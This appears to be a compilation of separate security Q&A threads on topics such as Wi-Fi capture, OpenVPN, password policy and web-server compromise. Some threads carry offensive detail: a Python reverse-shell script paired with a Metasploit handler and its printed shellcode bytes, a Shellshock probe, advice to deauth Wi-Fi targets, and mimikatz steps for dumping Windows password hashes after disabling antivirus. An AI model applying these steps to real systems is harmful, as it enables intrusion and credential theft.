AirPcap is end-of-availability. What alternatives do you recommend? I've been using Riverbed AirPcap dongles for Wi-Fi analysis for quite some time. But when I am trying to order more, I noticed all their AirPcap devices are end of life by Dec 31, 2017, for reason I don't know:
End-of-Availability (EOA) Notice from Riverbed web site.

Anyone has more info about this and what alternatives could we use instead?

I have no idea why Riverbed stopped selling these devices, here is my guess.

The AirPcap FAQ advertises the product as:

  AirPcap is  a family of  wireless capture devices and drivers representing the first open, affordable and easy to deploy 802.11 packet capture solutions for the Windows platform.

The page lists support for Windows 2000 up to Windows 7. The main differentiating feature is that it provided raw 802.11 capture support on Windows since this has to be provided by the driver. Over time, the driver APIs have changed a bit. It reportedly still works for Windows 10, but I guess that the Windows driver has not really been developed that much.

In meantime, 802.11ac is becoming more common while the AirPcap product line is still limited to 802.11n. So at the hardware level, it is also behind.

Now what probably killed it is the availability of the Npcap driver which also seems to provide raw 802.11 support for devices other than AirPcap (including 802.11ac).

Concluding remark: if you were not limited to Windows, note that Linux has for a very long time supported raw 802.11 capture support for all devices that use the mac80211 framework (where the Linux kernel is responsible for frame management). For educational purposes I just bought a €15 USB 802.11n adapter which I used on Linux. For me there was no reason to even consider an expensive AirPcap adapter (which has Windows support as its unique selling point).


When using metasploit with my python reverse shell script I get a byte error, but it seems to work fine when using a netcat listener When I run my python script and use netcat -nvlp 4444 the connection establishes fine and I am able to use the functions.

When attempting to replicate this in metasploit I use set payload windows/x64/shell/reverse_tcp then I set the LHOST and LPORT and run the script on the victim machine. The connection establishes, but right after receiving Login: on my end, I get the error below.

I did some research and I think some bytes should be excluded such as the null ones but I am unsure if this is the issue or the correct way to fix the issue. One thing I am confused by is why pwd recieves anything if the script crashes before I have inputted the password.

When trying print(pwd) before decode:

b'P\x01\x00\x00'
b'\xfcH\x83\xe4\xf0\xe8\xc0\x00\x00\x00AQAPRQVH1\xd2eH\x8bR`H\x8bR\x18H\x8bR H\x8brPH\x0f\xb7JJM1\xc9H1\xc0\xac<a|\x02, A\xc1\xc9\rA\x01\xc1\xe2\xedRAQH\x8bR \x8bB<H\x01\xd0\x8b\x80\x88\x00\x00\x00H\x85\xc0tgH\x01\xd0P\x8bH\x18D\x8b@ I\x01\xd0\xe3VH\xff\xc9A\x8b4\x88H\x01\xd6M1\xc9H1\xc0\xacA\xc1\xc9\rA\x01\xc18\xe0u\xf1L\x03L$\x08E9\xd1u\xd8XD\x8b@$I\x01\xd0fA\x8b\x0cHD\x8b@\x1cI\x01\xd0A\x8b\x04\x88H\x01\xd0AXAX^YZAXAYAZH\x83\xec AR\xff\xe0XAYZH\x8b\x12\xe9W\xff\xff\xff]I\xb8cmd\x00\x00\x00\x00\x00APAPH\x89\xe2WWWM1\xc0j\rYAP\xe2\xfcf\xc7D$T\x01\x01H\x8dD$\x18\xc6\x00hH\x89\xe6VPAPAPAPI\xff\xc0API\xff\xc8M\x89\xc1L\x89\xc1A\xbay\xcc?\x86\xff\xd5H1\xd2H\xff\xca\x8b\x0eA\xba\x08\x87\x1d`\xff\xd5\xbb\xf0\xb5\xa2VA\xba\xa6\x95\xbd\x9d\xff\xd5H\x83\xc4(<\x06|\n\x80\xfb\xe0u\x05\xbbG\x13roj\x00YA\x89\xda\xff\xd5'

errors:

Traceback (most recent call last):
  File "C:\Users\13472\Desktop\folder\testh\testv5\testmod3Copy3.py", line 87, in <module>
    Login()
  File "C:\Users\13472\Desktop\folder\testh\testv5\testmod3Copy3.py", line 37, in Login
    pwd = pwd.decode("utf-8").strip()
UnicodeDecodeError: 'utf-8' codec can't decode byte 0xfc in position 0: invalid start byte

code snippet:

passwd = "Anything"

def Login():

    global s
    while True:
            string1=("Login: ")
            string1=string1.encode("utf-8")
            s.send(string1)
            pwd = s.recv(1024)
            pwd = pwd.decode("utf-8")

            if pwd.strip() == passwd:
                    break

            else:
                    continue

    string2=("You are connected! ")
    string2=string2.encode("utf-8")
    s.send(string2)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
Login()

I believe the payload you are setting up in the metasploit handler is a staged payload (more info: https://metasploit.help.rapid7.com/docs/working-with-payloads). This means that the Python script is receiving the final stage but does not know how to handle it and, thus, crashing.

Try doing the same thing, but using a stageless payload such as windows/x64/shell_reverse_tcp instead and see if it works.


OpenVPN: How safe is a 24-7 open port static key setup? With proper encryption used. (AES256) In a normal setup (cert), you have a strong encryption - just like here - for example, AES256. But you also use dh and the tls params. Just to be absolutely secure.

Now, if you use the static key setup (read), which is a simple 2048-bit key file shared between the server and client that you transfer yourself through a previously established secure channel... then you are not able to use dh and tls.

How safe is to have the server running 24-7 on a custom port, using this static key setup?
Copied from the sample server.conf file:

# For extra security beyond that provided
# by SSL/TLS, create an "HMAC firewall"
# to help block DoS attacks and UDP port flooding.
#
# Generate with:
#   openvpn --genkey --secret ta.key
#
# The server and each client must have
# a copy of this key.
# The second parameter should be '0'
# on the server and '1' on the clients.
;tls-auth ta.key 0 # This file is secret

dh provides forward secrecy.
This is what you will miss without the normal certificate based setup.
By the way:

Let's imply the server is DDoS protected to an extent. OVH and both
Hetzner, and even VPS providers now offer DDoS protection so it's
pretty much a standard.
Let's imply the user has a firewall, and
only SSH and OpenVPN is allowed.

Update #1:
Let me summarize things.

Static Key is just one file that you copy to your server, and to your
OpenVPN folder.
It will allow you to have a very simple setup with
proper encryption even. (AES, and so on).
This setup, however,
lacks forward secrecy. This is stated on the official OpenVPN
website.
Not only that, it will also disallow you to use the "HMAC
firewall".
Losing forward secrecy is a clear drawback(*). That is
half of the answer.
But what about the HMAC Firewall? Does it make
your server vulnerable?
Your OpenVPN easier to get breached?

(*) - Of course for someone to decipher the data, that specific someone needs to log every bit of data. Then, he has to acquire your secret key. Then, he has to somehow - spending insane amount of manhour and effort - rebuild all of the data into meaningful data. This is still a serious concern if the data submitted through OpenVPN is sensitive.

Source: https://openvpn.net/index.php/open-source/documentation/howto.html#security

"Using tls-auth requires that you generate a shared-secret key that is used in addition to the standard RSA certificate/key."


Can you get virus from previewing email attachments in Gmail? If an email attachment such as .docx, jpeg, .xls, .pdf, etc. contains virus/malware and if I open it for preview (not opening it in Google Docs or downloading it and opening it) then can I get infected?

You are actually opening the file in the browser. If the browser has a vulnerability that the file exploits, it is possible (though unlikely at this point) that you can get infected.


Designing my own HSM using an Arduino I am attempting to build from scratch something similar to Apple's Secure Enclave.

What I've done is use an AES library for the Arduino to create a security appliance. A random crypto key and the code are stored on the chip and locked (not readable). Service is provided through the USB serial port only. There are a few commands, like set_salt, set_IV, encrypt, and decrypt. Everything worked, except it is very slow - but hey, what can you expect from an Arduino?

To make it useful, I am planning to use it to encrypt an separate AES key stored on the computer/phone, and this key is used to encrypt the application data. My question is. Is this going to have a security risk since the application data is not directly encrypted by the Arduino? I do understand that the key used to encrypt the app data might be exposed through memory dumps, but the application programmers can minimize this risk. I also understand that the communication between the Arduino and the application needs to be encrypted as well. But beside these two, are there other holes where the risk of exposing the key is possible?

First, Apple's Secure Enclave  is a module which ensures that the boot loader only runs code signed by Apple. That's not what you're doing, you are trying to build a Hardware Security Module (HSM).

As you figured out, the proper way to do this is to have the HSM do all the crypto operations internally so that no keys ever leave the device - as you point out, if you hand the encryption/decryption key to the device, then it's now out of your control. So ideally you want a processor that's fast enough to do the crypto processing onboard.

That said, storing an encrypted AES key on the device next to the data, and relying on the HSM to decrypt it for you is exactly how the Android Full Disk Encryption works (I think). I would recommend reading the Android Dev page on Full Disk Encryption to give you ideas.

I'll expand this answer to give some broader context.

This question is deep enough that we should ask what your "threat model" is (ie "What kind of attacks are you trying to protect against?"). As pointed out in comments by @JeffMeden and @supercat, what level of security you need really depends on what you're trying to protect, and how you want it protected.

You mention that you want to protect the AES key from a memory dump. An AES key is valuable, but not because the key itself is valuable, rather because the information it's protecting is valuable. You said:

  I do understand that the key used to encrypt the app data might be exposed through memory dumps,

This is a good thing to be thinking about, but if the data itself might be exposed through memory dumps, then it's hardly relevant. But as you say,

  but the application programmers can minimize this risk.

Whether your HSM is decrypting an AES key, or decrypting the data directly, once you hand that back to some user program, you no longer have any control over its protection.

Bottom line: if your threat model includes processing the decrypted data on a PC, while also protecting said data against someone powerful enough to do a memory dump, then there's nothing your USB peripheral can do; you also need to write the software that's running on the PC.

If you start going down that line, you will end up inventing a Trusted Execution Environment in which all the processing of the plaintext data actually happens inside a secure processor, and only the result is handed back to the "untrusted" PC.


what to do after suspected intrusion on hobby webserver I maintain a server to host my files and a number of websites for hobbies and friends.  I just noticed that the site summary being returned in google for one of my domains were all porn related (search "fringe.org", 1st result).

Checking the source, I found obfuscated php code (see here) I didn't recognize included in /index.php of that domain after the <\/html>.  I deleted it and then also found and deleted it from the index.php of 5 other domains in my web root (although there were 3 or 4 without it).

Server details:

LAMP with Ubuntu 10.10 fully updated very regularly
PHPinfo: link
My password is very secure, but I have given accounts with web-write access to 3 or 4 friends.  I'm not sure how secure their passwords are.
I believe access is only by ssh or sftp

My question is what steps I need to take now.  Data and content are backed up off the server regularly.  It makes me feel dirty so I would be inclined to wipe and rebuild the whole thing, but I am 10 days from the big annual event of my largest site.

Thanks so much in advance for any tips.

Well ... shit.  Thanks for the feedback and info.  It's tricky how easy it is to get yourself into trouble these days.  I would have marked all of your answers as accepted if I could, they were all helpful.  I'll be doing a full wipe and carefully reconstructing things asap.

PHP:

allow_url_fopen needs to be Off. I think this is how you got owned. A big mistake!
display_errors needs to be Off. I use these all of the time to find path disclosures.
file_uploads needs to be Off. This could have been another way you got owned.
expose_php needs to be Off
safe_mode needs to be On
magic_quotes_gpc should probably be set to On

These are severe problems. You were very likely hit by an LFI/RFI botnet. You will need to install a new server, but DO NOT COPY any of the code, data from the database, or any flat files (and do not reuse any passwords -- they are all suspect at this point! You have a responsibility to change all of your passwords and tell your users to do the same).

Let me remind you of the seriousness of this attack. Any of the PHP code or other content on your server can (and probably does) contain other backdoors. If you did not have file integrity monitoring in place before this incident, then you will have to build a new server without this PHP code and content. You can't just copy it over -- you will have to manually re-create all of it.

Secondly, you cannot trust the data in the database if you use one, such as MySQL. You can't copy the MySQL data files or even utilize the same data records, columns, or tables to a new machine. You should consider all of this data as having the capability to take over any new machine its put on -- and to send malware to anyone visiting any website connected to this database or that uses any of the data in this database.

Lastly, all flat files also cannot be trusted -- including important ones like your /etc/passwd and /etc/shadow files. You can't re-use any of this data and all of the passwords are suspect. The passwords in your databases are also suspect.

If anyone has ever SSH'd from this machine, consider those remote accounts compromised, as well. If there is local connectivity on a LAN to any machines -- consider those machines as compromised, as well. Any passwords in any PHP files that connect to other services (such as external databases) should also be considered compromised. Everything will need to be reconstituted. You cannot restore from backups!

You are in very serious trouble and will likely need to hire outside help!


Does password "strength" matter anymore? In the early days we happily saved whatever password a person wanted to the database.

Later we decided that passwords must include certain characteristics like numbers, upper and lower case and defined lengths (sometimes a max of 8; yikes!).

Not too long after that some of us decided that certain characters like ; and ' (gotta love people fixing sql injection the wrong way) and even repeating sequences like aaa were no longer allowed.

At some point we finally hashed them and shortly thereafter added a bit of salt.

Now, I'm wondering, do any of the requirements around password "strength" really matter?  In other words, if we stripped away all of the characteristics EXCEPT for a minimum length is it just as good?

If my app says, the minimum password length is 12 characters and up to 200 characters - essentially a pass phrase and I allow them to use any character they can type on a keyboard, then is it just as hard to break through the front door?   Presuming that I am still hashing with a salt when it's stored in the DB?

-- note: I'm not looking for opinions.  I'm looking to see if anyone can provide a "proof" that a 12 character pass phrase is less secure than one which has common limitations identified above.

Ok, let's get things in the right order.

First, you may doing it wrong. This is about what you say about "a bit of a salt". You don't say if you use "we" as meaning "me at my job" or just "we" as in "we Information Security professionals, generally". If it is the former, then it seems that you are using a homemade hashing construction, probably one or two hash function invocations of a hash function with the salt value appended haphazardly somewhere in the mix. This does not bode well. Password hashing is a complex matter, with theory and existing active research and well-vetted candidates. Read this answer.

That being said, let's see your actual question, i.e. are "password strength rules" useful ? To this I must answer: in practice, no. See this previous question. Any constraint is likely to turn the user into an uncooperative user, who will employ defensive mechanisms in order to ease his own life, such as writing down passwords or generating passwords "with a hidden meaning". That's counterproductive: these user behaviours are triggered by the strict password rules and their overall effect is that security is lowered, not increased.

A minimum length can be enforced because a too-short password is unambiguously weak and users understand that. So you do not alienate your own users by enforcing a minimum password length. However, any other rule tends to backfire.

What makes a good password is randomness. Password rules are just ways to push users out of their comfort zone, on the hope that once they are required to put punctuation symbols and letters and digits, then they will, in some unspecified way, begin to "act randomly". This does not go that way in practice. Uncomfortable users are angrier, but not more random.

What can help is to give to the user a non-mandatory password generator which uses randomness. Computers are better at randomness than humans.

(See also this previous question; its answers may illustrate the relationships between randomness, security and usability.)


How to technically introduce my boss to computer file security? My boss truly believes that keeping files on paper and locked in his drawer is the safest place ever. He is the type of guy that processes a file in Word/Excel, prints it, delete the file and store the physical paper in his drawer. Also, he deletes (not archive) all of his emails after reading them. If important, print it.
While I can relate to that sometimes, there are a lot of arguments to which this may not seem like a good idea. Especially if we need to access those pieces of information (as a team) daily, which means that if he is not in the office, we cannot access the information.
For further context, we scanned one of these documents once so we could keep a copy. He freaked out when he found out.
He is also a very technical person, exploring details, which needs to understand why/how.
—-
So, my question is:
How can I introduce my boss to computer file security, with file collaboration (or sharing) in mind, so he can maintain everything digitally but with a higher guarantee that it will not be stolen or anything?
—-
I once tried to explain that Google Drive/Dropbox is a good idea but I lack the technical arguments why.
He has a Windows 10 computer, a company mail hosted on Gmail with two-factor authentication, and his personal phone (Samsung Galaxy S8) with WhatsApp. All of the rest is on paper.
—-
He is also very methodical, so if there is a need to put passwords everywhere, he will do it. He is the type of guy that compromises User Experience for security.
Also, if there is a need for a local server, we can go for it as well.

... but I lack the technical arguments why ...

With such a position it is likely hard to convince your boss. And your boss is even probably right when arguing that what you want is weakening the security.
Digitally sharing data is usually not done because it is more secure, but because it is more convenient, allows faster work and collaboration etc. It is done because it reduces costs and increases efficiency. For a company it thus affects on how competitive the company can be in the market.
It thus provides new chances, but it definitely adds significant risks too. And these risks are not so much that the provider (Google, Dropbox, ...) might steal the data, but that it is more likely for employees to accidentally share data or even full access to many critical data with the wrong ones, for example when they fell for credential phishing. It also means a new dependency on getting the digital infrastructure working against threats like ransomware or even simple hardware failures. Sufficiently understanding and also addressing these new risks is not trivial.
Thus the arguments should likely focus on the business value, i.e. how much more efficient the work can be done and how much more competitive the company can be. And that these chances outweigh the risks. But if this is really true in your specific environment and how you can prove this is up to you, since this is specific to your environment.


Statistics about malware targeting different OS Are there any reports or statistics that describe the numbers or types of malware attacks on different operating systems, such as Linux, Unix, Windows, MacOS?

Most AV Vendors produce and publish information about malware statistics.

See here for Symantec and here for McAfee.
They also delve into detail about trends, Mobile malware and other findings through out the period.


May HSTS block access to your site when you renew your SSL certificate? I've thinking in using HSTS in my sites but I don't understand if I need to sync the HSTS timing with the time when the certificate is going to be renewed or not.

Can I use safely a static time for HSTS? I would like to send always the same time in HSTS and to not have any problem when I renew the SSL certificate.

I'm worried about block access to my site due to not using properly HSTS.

HSTS only forces a site to use HTTPS. This prevents downgrade attacks such as SSLstrip from being effective. As HSTS says nothing about the certificate that will be used, it has no effect when you renew your certificate.
(Note that the certificate will still need to pass all standard validity checks.)

HTTP public key pinning, a related technology, is used to force a browser to only allow a site to be visited with a certificate using a specific public key. Note that this is different than specifying a full certificate. Even when HPKP is used, a new certificate can be installed on the server, provided that it uses the same private, public key pair.


Am I safe if browsing to /cgi-bin/ returns HTTP 403? I am wondering whether my server could be vulnerable to ShellShock (or better: was vulnerable). The shell test reveals that I'm vulnerable:

$ export evil='() { :;}; echo vulnerable'; bash -c echo;
vulnerable

I don't need CGI for any of my websites, but just to be sure, I tried grep -i "cgi" * on my Apache config files folder. Unfortunately I have discovered that some of my sites have CGI entries anyway, like this:

    ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
    <Directory "/usr/lib/cgi-bin">
            AllowOverride None
            Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
            Order allow,deny
            Allow from all
    </Directory>

However, there are no files in /usr/lib/cgi-bin

$ ll /usr/lib/cgi-bin/
total 0

And following a test, I get a HTTP 403 error:

$ curl -i -X HEAD "http://example.com/cgi-bin/" -A '() { :;}; echo "Warning: Server Vulnerable"'
HTTP/1.1 403 Forbidden
Date: Thu, 25 Sep 2014 22:22:32 GMT
Server: Apache/2.2.14 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=iso-8859-1

Can I safely conclude that my server is not vulnerable to a CGI attack in this case? If not, would a different curl command show the vulnerability? And would it be sufficient to remove the /cgi-bin/ definitions from Apache config files?

No, you can't conclude that from the 403 error.  If the server returns a 403 error for a directory, that just means you aren't allowed to list the directory contents, or that the directory has an index page that you aren't allowed to access; this is very common for cgi-bin directories.

You can, however, conclude that you are not vulnerable because there are no files in the /cgi-bin/ directory: any attempt to invoke the "shellshock" vulnerability will simply result in Apache responding to the attacker with a "404 Not Found" error.

You can (and probably should) disable CGI, but that's simply because disabling unused functionality is good security practice in general, rather than being in response to any specific threat.


ARP Poisoning: exactly how it works Can anyone tell me how ARP Poisoning exactly works?

Because I was sure that worked as I stated here.

But I've been told that is not how ARP poisoning works. That the path I've mentioned in the link is wrong, because the correct one would be:  target(C)--> router(A)--->attacker(B) -->router(A)--> internet.

And I've been told that due to the path mentioned above, I wouldn't need the PTK to decrypt the traffic because the router would decrypt the traffic for me.

So, which one is correct?

From a brief look - both descriptions are essentially correct as 802.11 is talking via the router (think of it as a switch in this context) to reach your box. From a higher layer perspective (the border between L2 and L3 - which ARP essentially is) your model is correct. (Victim > Attacker > Router)

From a lower layer possibly the border between L1 and L2, both devices are speaking to the router, so (Victim -> AP -> Attacker -> AP -> Router -> Internet)

So the victim device addresses a packet to the attacker, and in the process encapsulates that in an 802.11 packet addressed to the Access Point. The Access Point decapsulates and decrypts that packet, encrypts and encapsulates that packet addressed to the attacker.

To answer your other question, if it works, then yes it does circumvent the transient key (bearing in mind you already know the password to access the network).

The OSI model isn't great in practice but it's still how I think of things...

As an aside every WiFi router I've tried in the past few years (only a handful) has detected the ARP spoofing and either blocked, or repoisoned the victim with the correct address, as it realises it something is amiss. I doubt that is so common with AP's because the router is a separate device which the AP isn't so aware of. I rarely try it as in most cases its just easier to deauth the target, then capture the transient key on reconnection.


Retrieving OSx Keychain passwords I have a computer forensics style osx login.keychain file that I am trying to find the passwords from.

I have a very weak mac which I used crowbarkc on to try and brute force but the horsepower is just not there .... Is there any other way to get the information locked within? preferably using a linux or windows crack (as I have very powerful or ec2 available with those)

The other possibility to gain keychain content is the $5 wrench. Or, as it's known in the UK, the 50p chocolate bar.


What's the drawback of enabling auth-nocache in OpenVPN? Using a "default" configuration, OpenVPN clients show the following warning when connecting to a VPN server in red, attention-seeking letters:

  WARNING: this configuration may cache passwords in memory -- use the auth-nocache option to prevent this

Googling for that configuration option yields various Internet sources that claim that this is not really a big deal, but I want to get rid of that warning, because I don't want my VPN users to get in the habit of ignoring warnings written in red.

Obviously, I can do that by adding auth-nocache to the configuration file.

What's the drawback of doing that? Since this feature is "opt-in", there must be some kind of drawback, or it would be enabled by default. Unfortunately, searching for "auth-nocache" in the official documentation yielded no results.

The authentication credentials are not cached. So if the connection fails, it is not possible to automatically reconnect.


Is this a DNS attack? The following graph shows the UDP DNS queries/sec (blue) and DNS responses/sec (red) of traffic passing a router over the preiod of 4 days. DNS query is a DNS packet with query/response flag set to 0 in header and DNS response the one with the flag set to 1.

Are the jumps in responses with the width of about 30 minutes resemble some kind of attack?
What about jumps in queries?
Why is there a large and constant difference between the queries and responses for long period of time?

EDIT: Above graph shows DNS over UDP. Here is the SYNs/sec graph:

EDIT: This is a part of traffic passing a country and internet.

I'm hesitant to post an answer simply because of the lack of data provided however simply based on the graphs, I would assume that this is due to someone using this server for DNS tunneling.  David Bianco has written up an article on DNS-tunneling detection by analyzing the network statistics.  He says that you can detect DNS-tunneling by seeing a very lopsided request/response of DNS queries which you seem to have.

A traffic-analysis approach to detecting DNS tunnels


Best way of securing a "simple" PHP form So I've been tasked with creating a form, collecting a few personal details. I think writing to a text file would make life easier than a MySQL DB.

I've read through https://css-tricks.com/serious-form-security/ and was wondering what other things I should have in mind?

Following OWASP
HTTPS

Am I right in thinking that writing to a text file would make life easier and/or more secure than using MySQL/MariaDB?

The form is basically a "register your interest" form so would contain:

Title
Forename
Surname
Email address
Postal address

I am thinking a DB solution is the way to go as we'd need to verify their emails. With that in mind, would a querystring verification coupled with an ID they have to type in, suffice?

No, a database is best for storing information gathered from a web form as you can query it much easier than a text file. Following OWASP and using HTTPS are best practices, and for a simple form should be more than enough from the form's perspective.


Should a password ever be presented in plain text to a user (On a website)? Is this illegal under UK Data protections act? There is a website I use at work, external to our own. They have just presented with every employee with their plain text password and username via our internal website which requires our own logins.

I was wondering if this should be viable for a professional company (Either the external website company or my internal one) to store plain text passwords? And if so are they prosecutable under any law regarding how they store passwords?

Sorry I am very unaware of the way passwords should be handled and the law regarding them
Thanks in advance

Theres no law regarding passwords. Only law that exists applies to personal details, but a password is not a personal detail. Since the password is often selected by the end user, under EU law this will Count as consent too, so even if someone would enter personal details as their password, it would Count as consent.

Depending on what the password protects, there might be security standards that laws will recongnize, for example Credit card details are protected under PCI DSS, Health information are protected under HIPAA, and so on. There also EU laws mandating how personal details should be protected. Those might mandate that passwords should not be stored in any recoverable form.

However, its a bad practice to display passwords like this. However, depending on what the password protects, it might not matter anyways.
One example is that all passwords are visible to a administrator, so a administrator can log in as any user. This might be a way to solve that some systems does not have "Takeover" capabilities where a admin can log in "as" any user.

Another way can be that the service being protected by the password, is also protected by any other means, like a firewall requiring a VPN dial-in Before allowing access to the protected service. And the password protection on this service are then not compatible with Single-sign on solutions or similiar, why the Company behind, simply show the password to login to This protected service, because even if the password do leak out, its useless to a attacker who do not possess the other means requiring to reach the protected service (like the VPN dial-in details, certificates and any OTP tokens).

If the passwords are to workstations in the Company in question, and those are physically protected (eg to reach the rooms where the workstations are located, a access card swipe is required anyways), then it wont matter if the passwords are shown anyways. You still need that access card to do any harm.

There also might be that this password does not protect anything valueable anyways, they just want a light protection on the web site to prevent general public access, but the information is still safe for the public to view, but if anyone hacks the website, no harm is done anyways.
Example: Product manuals available to customers of the Product. If those leaks out, it wont matter anyways.

Do a judgement if the information on the internal website is sensitive, eg "What happens if any unauthorized indivual accesses this website", and act accordinly. If the information is sensitive enough, you might want to report this to some security responsibile or something.


How to deny access to my server end points ? (PHP) I've developed some software installed e.g. on www.example.com. It's accessed via an HTML web page. Some HTML buttons can call PHP end points which are also on that domain. I use JWT to secure login.

But what want to do is only allow access to the end points from the office, so I'm trying to get the PHP to block any access from other domains.

I tried

header('Access-Control-Allow-Origin: https://www.example.com');

but it doesn't block the end points when I try to access thehm via the www.example.com domain web interface.

Maybe instead I have to check the client IP within the PHP and deny access if it doesn't match. But what if there's dynamic IP's and the IP's could change given enough time. Is there a way round that?

Any help appreciated.

First, regarding what you have tried already:

header('Access-Control-Allow-Origin: https://www.example.com');

This will fail for a number of reasons:

This a client-level control that doesn't stop anyone from making requests to your endpoint anyway.  This is, in fact, a flag for CORS in a browser, and isn't actually relevant to your use case.  It would not have any impact at all with your current setup, nor would it even necessarily stop people from accessing your API endpoints even if they were on another domain (CORS is a read restriction, not a write restriction).
As you allude to, even if this worked as intended, it would not actually do what you want, since it would stop people from using your endpoint from within a browser on a different domain, but that would not actually lock it down to your office at all
It also wouldn't work anyway because regardless of what headers you pass back any non-browser client can ignore your headers and just do what they want.  I.e. a browser will listen to CORS restrictions (because that is how browsers work) but I can hit up any endpoint I want with curl, postman, or any other http client and do whatever I want anyway.  It's not just browsers that use the internet, so you can't make any assumptions about who is browsing your site how.

IP Filtering

In a case like this the best bet is to simply filter by ip address, which you mentioned.  Generally offices have static IP addresses or change rarely, so it is actually quite feasible to do.  Presuming the entire office is NATed behind one router/ip address then it is quite simple because you just need the one rule: dump all traffic except port 80 (443?) coming from the office IP.  You probably shouldn't bother doing this with PHP, however, because for PHP to reject the request on the basis of the IP address first requires your server to process the request, launch PHP, and pass it along.  A simple firewall rule is much easier on server resources.  Dynamic office IP addresses are almost unheard of, so unless you know that that is the situation for you, I wouldn't worry about it.


Password manager in not own device I believe that password managers have a lot of advantages rather than remembering the passwords. So: its time to use them! But I don't want to lose the capability of using my passwords in devices I don't own.

Asuming that the device doesn't have any malware, writing my password (without password manager) seems secure. But I can only think in two ways I could use a password manager from devices I don't own and none of them seems to be secure or good enough.

View your database online and be able to show / copy the passwords. Both very insecure, anyone could be watching and the password will also be saved in the clipboard.
Installing the password manager. This could take time and be very annoying and would imply to sync all my database. Also, the device could already have the product installed (in case the owner also uses it).

Is there any way I'm missing? Is there any product offerin a solution for this scenario?

Thanks

When you introduce secret information in to a device you do not own, it's simply not your information anymore. Whoever owns the device owns the information. If you unlock the password vault with your password, there is always a chance it's recorded somewhere. In the end it all boils down to trusting the device provider.


How can I securely delete items in a database? I know that to securely delete files on a system I have to apply some kind of secure deletion (overwritting empty clusters, for example).

But when I want to delete some information on a database (Oracle or MySQL), is it completely deleted?

I mean, I have a DB running, and I don't want to delete the entire database, just some records, but I want to be sure that those records can't be restored. Is the dbms delete function enough?

I consider that there exists no other copy of the information (there's no database backup).

I've read something related to this about Microsoft Access here, and they say that after deleting the data it remains in the db until that space is used (or the db is "compacted & repaired"). This happens also on Oracle and MySQL?

Thanks in advance.

There are two ways to answer this. The first way follows your line of thinking, the other does not.

While it's hard to be sure for any specific database, due to slack space (i.e. not shrinking the data file when stuff is deleted), journaling, and other database features, I'd suspect that the following is reasonably sufficient for a system like InnoDB:

Do an UPDATE on the rows to replace all data with blank data of the same length. So, if you've got Polynomial in a cell, you replace it with AAAAAAAAAA.
Delete the rows as normal.
Add a bunch of new rows with large-ish blobs of dummy data.
Delete those rows.
Take down the database and run a shrink / compact / re-index operation.

This isn't guaranteed to do the job, because database implementations have all sorts of weird behaviour, but for most cases it'll at least make it more difficult to recover the data. In fact, in a high usage environment I'd suspect that emptied out row slackspace gets overwritten pretty fast.

But here's the more complete answer - your threat model in this case appears to be that someone has captured the database file. So why not encrypt it? Full-disk encryption is computationally cheap (and LUKS is easy to set up) and would help prevent someone from getting at the database file from a stolen disk.


Encryption and compression of Data If we want both encryption and compression during transmission then what will be the most preferable order.

Encrypt then compress
Compress then encrypt

You should compress before encrypting.

Encryption turns your data into high-entropy data, usually indistinguishable from a random stream. Compression relies on patterns in order to gain any size reduction. Since encryption destroys such patterns, the compression algorithm would be unable to give you much (if any) reduction in size if you apply it to encrypted data.

Compression before encryption also slightly increases your practical resistance against differential cryptanalysis (and certain other attacks) if the attacker can only control the uncompressed plaintext, since the resulting output may be difficult to deduce.

EDIT: I'm editing this years later because this advice is actually poor in an interactive case. You should not compress data before encrypting it in most cases. A side-channel attack method known as a "compression oracle" can be used to deduce plaintext data in cases where the attacker can interactively cause strings to be placed into an otherwise unknown plaintext datastream. Attacks on SSL/TLS such as CRIME and BREACH are examples of this.


How are Windows 10 hashes stored if the account is setup using a Microsoft account? I was testing the integrity of my passwords and noticed that after I dumped the hashes, there was only one account where the NTLM hash was not a "default hash." I also know that that account happens to be my backup user so it is not configured to log into any Microsoft account. It is simply a local user.

On the other hand, my main account is configured to be a Microsoft account and its hash is the default 31d6cfe0d16ae931b73c59d7e0c089c0, which is really an empty password. However, that is not my real password on the account.

So my question is, is that the hash because when I log in using a Microsoft account, is it making a request to the Microsoft servers for the hash/validation or is the hash stored anywhere else.

Also, wouldn't it be more secure for a person to be forced to use a Microsoft account because a hacker would never be able to take advantage of physical access to a machine or tricking the user to click on something that gives them access to the SAM/SYSTEM files?

Windows hashes are saved in SAM file (encrypted with SYSTEM file) on your computer regardless of the fact that you are using Microsoft account. It needs to be done this way to allow you to log in to your computer, even if you are not connected to the internet. If you change your password using account.microsoft.com, you will still be able to log in to your computer with your old password (even if you are using Microsoft account). After logging in to the system, you will be prompted to type new password, but as long as you don't type new password, you will be able to use old password to log in to your computer. After you type new password, SAM (and possibly SYSTEM) file will be updated.

You (wrongly) get 31d6cfe0d16ae931b73c59d7e0c089c0 hash of your password because format of the SAM and/or SYSTEM files has changed since Windows 10 Anniversary update (see: similar problem), thus tools like chntpw, bkhive, pwdump, samdump2 print hash of the empty password (I verified it on my Windows 10). Since this update, Windows uses AES128 to encrypt password's MD4 hash. Because of that, nearly all tutorials regarding Windows password recovery became outdated.

Fortunately there is a tool called mimikatz (Windows-only, but can be ran on Linux by using Wine) created by Benjamin Delpy, that can read passwords' hashes saved in Windows' new format. Note that Windows Defender and Symantec antivirus treats it as a 'Hack Tool' and removes it, so you need to disable them before running mimikatz (run as a administrator).

mimikatz consists of many modules, but you should explore lsadump module, particularly lsadump::sam function.

Excerpt from docs:

  If you're not SYSTEM or using an impersonated SYSTEM token, you'll have access denied error:

mimikatz # lsadump::sam
Domain : VM-W7-ULT-X
SysKey : 74c159e4408119a0ba39a7872e9d9a56
ERROR kuhl_m_lsadump_getUsersAndSamKey ; kull_m_registry_RegOpenKeyEx SAM Accounts (0x00000005)

  In this case, you can use psexec to begin SYSTEM (or other tools) or elevate with token::elevate command to impersonate a SYSTEM token:

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # token::whoami
 * Process Token : 623884       vm-w7-ult-x\Gentil Kiwi S-1-5-21-1982681256-1210654043-1600862990-1000  (14g,24p)       Primary
 * Thread Token  : no token

mimikatz # token::elevate
Token Id  : 0
User name :
SID name  : AUTORITE NT\Système

228     24215           AUTORITE NT\Système     S-1-5-18        (04g,30p)       Primary
 -> Impersonated !
 * Process Token : 623884       vm-w7-ult-x\Gentil Kiwi S-1-5-21-1982681256-1210654043-1600862990-1000  (14g,24p)       Primary
